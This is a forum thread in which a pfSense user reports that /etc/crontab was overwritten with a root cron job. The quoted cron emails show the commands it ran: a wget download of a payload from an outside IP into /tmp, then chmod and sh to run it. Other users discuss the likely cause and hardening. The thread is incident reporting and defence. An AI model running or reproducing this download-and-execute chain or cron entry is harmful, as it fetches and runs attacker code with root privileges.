Vulnerabilities???

[rcfa]

Yesterday afternoon, all of a sudden, I started to get a slew of e-mails from cron like these:

Subject: Cron <root@machine>wget -P /tmp http://23.234.29.114:9999/out

X-Cron-Env: <shell= bin="" sh="">X-Cron-Env: <home= root="">X-Cron-Env: <path= usr="" bin:="" bin="">X-Cron-Env: <logname=root>X-Cron-Env: <user=root>wget: not found</user=root></logname=root></path=></home=></shell=></root@machine> 

after about two hours, the e-mails changed to this:

Subject: Cron <root@machine>chmod 777 /tmp/out

X-Cron-Env: <shell= bin="" sh="">X-Cron-Env: <home= root="">X-Cron-Env: <path= usr="" bin:="" bin="">X-Cron-Env: <logname=root>X-Cron-Env: <user=root>chmod: /tmp/out: No such file or directory</user=root></logname=root></path=></home=></shell=></root@machine> 

which turned after another 3.5h into this:

Subject: Cron <root@machine>sh /tmp/out

X-Cron-Env: <shell= bin="" sh="">X-Cron-Env: <home= root="">X-Cron-Env: <path= usr="" bin:="" bin="">X-Cron-Env: <logname=root>X-Cron-Env: <user=root>cannot open /tmp/out: No such file or directory</user=root></logname=root></path=></home=></shell=></root@machine> 

When I got home and checked my e-mail and saw the mess, I ssh-ed into the box, and the first thing I did was check out the /etc/crontab file, which had mutated from beginning with something like this:

SHELL=/bin/sh
PATH=/etc:/bin:/sbin:/usr/bin:/usr/sbin
HOME=/var/log
MAILTO=""
#minute hour    mday    month   wday    who      command
#
#
# pfSense specific crontab entries

to something that started like this:

REDIS0006?crackit,
SHELL=/bin/sh
* * * * * root sh /tmp/out
?l???PN
#
# pfSense specific crontab entries

So by the time I saw all of this, the system log files had been flushed of any entries that would relate to the time when it all started. So from what I can see, there's no trace of whatever attack may or may not have happened.

The moment I changed the /etc/crontab file back to what it should be, the unit started behaving again in terms of not spamming me with e-mails. During the entire time I couldn't see any change in configuration or any other malfunction.

Needless to say, however, I'm suspicious as to what may or may not have transpired and whether or not there's now any hidden malware on this machine.

Did anyone ever experience anything like this?

I'm current with all the latest OS and package updates….

[cmb]

Looks a lot like a typical script kiddie attack attempt. There aren't any vulnerabilities in current versions that would allow anything like that. The only vulnerability ever that I can think of that'd allow code execution or modification of root-owned files would be Heartbleed, but that was only 2.1.0-2.1.2.

What are the contents of that /tmp/out file? Or what's the URL it really had listed as pulling it from?

What all are you running on the box? What's opened to the Internet?

[Harvy66]

Is your management interface accessible from the WAN? Are you using a strong password? What packages do you have installed?

[rcfa]

@cmb:

Looks a lot like a typical script kiddie attack attempt. There aren't any vulnerabilities in current versions that would allow anything like that. The only vulnerability ever that I can think of that'd allow code execution or modification of root-owned files would be Heartbleed, but that was only 2.1.0-2.1.2.

What are the contents of that /tmp/out file? Or what's the URL it really had listed as pulling it from?

What all are you running on the box? What's opened to the Internet?

The /tmp/out file does not (no longer?) exist. Password is reasonably strong, I'd think: think dictionary word that somewhere has a few numbers inserted and is garnished with special characters. Yes, the unit is accessible from the WAN, because I need to be able to manage it when I'm on the road.

I agree that it kind of looks like a script kiddie attack. Still, it did manage to alter the contents of /etc/crontab, which means it was successful in altering file system contents, and that means even if it might not have been successful, it wasn't far off. If instead of altering the crontab file it had altered some other file, the situation might look rather different.

As for what's running and what's installed: I'll let the system speak for itself (see screen shots attached).


[cmb]

@rcfa:

I agree that it kind of looks like a script kiddie attack. Still, it did manage to alter the contents of /etc/crontab, which means it was successful in altering file system contents, and that means even if it might not have been successful, it wasn't far off.

I didn't mean that to indicate it's not something to be concerned about, someone did something with root privileges on your box, something's seriously wrong that warrants the highest level of concern. Rather that means it's some stupidly simple hole somewhere, some widely-known serious vulnerability.

vhosts is what sticks out the most to me, especially for that type of attack as some web app vulnerability would be the usual trigger of an attack along the lines of what you're seeing. What are you running in vhosts?

I wouldn't trust that box at all at this point, backup your config, reinstall the box, and restore it minus vhosts.

[rcfa]

@cmb:

@rcfa:

I agree that it kind of looks like a script kiddie attack. Still, it did manage to alter the contents of /etc/crontab, which means it was successful in altering file system contents, and that means even if it might not have been successful, it wasn't far off.

I didn't mean that to indicate it's not something to be concerned about, someone did something with root privileges on your box, something's seriously wrong that warrants the highest level of concern. Rather that means it's some stupidly simple hole somewhere, some widely-known serious vulnerability.

vhosts is what sticks out the most to me, especially for that type of attack as some web app vulnerability would be the usual trigger of an attack along the lines of what you're seeing. What are you running in vhosts?

I wouldn't trust that box at all at this point, backup your config, reinstall the box, and restore it minus vhosts.

vhosts just serves a small static web page, no database or anything that would require write access to anything.
reinstall is unfortunately currently not an option: I'm traveling for the foreseeable future, and to reinstall the OS I should have local access. The only good news is that all the few machines present on the LAN all have their own firewalls running in addition to what pfSense (may or maynot) filter.

The other question is, of course, if there are things one could write into the configuration that would compromise the box after a reinstall and restoration of the config. If so, I might have to totally reconfigure from scratch…
...well, more like grabbing an old config, and trying to figure out what changed.

[cmb]

If you can PM me the WAN IP of that box, I'll scan it and see if anything sticks out.

[divsys]

I'm sure Chris can do an excellent job of assessing any obvious vulnerabilities.

Just one small suggestion - if you haven't already, chose a non-standard HTTPS port for external access (I like 8000+ port #'s).
It won't stop the scanner and script kiddies, but it will make it that much harder for them to find you in the first place.

Best solution (for me) is to enable OpenVPN and connect via that.
I know that's not always the final answer when things go "wrong" but giving yourself multiple paths in is not a bad idea.

[KOM]

Yes.  Exposing the WebGUI to WAN is not the best choice when you have OpenVPN right there, built-in for free.  Use it.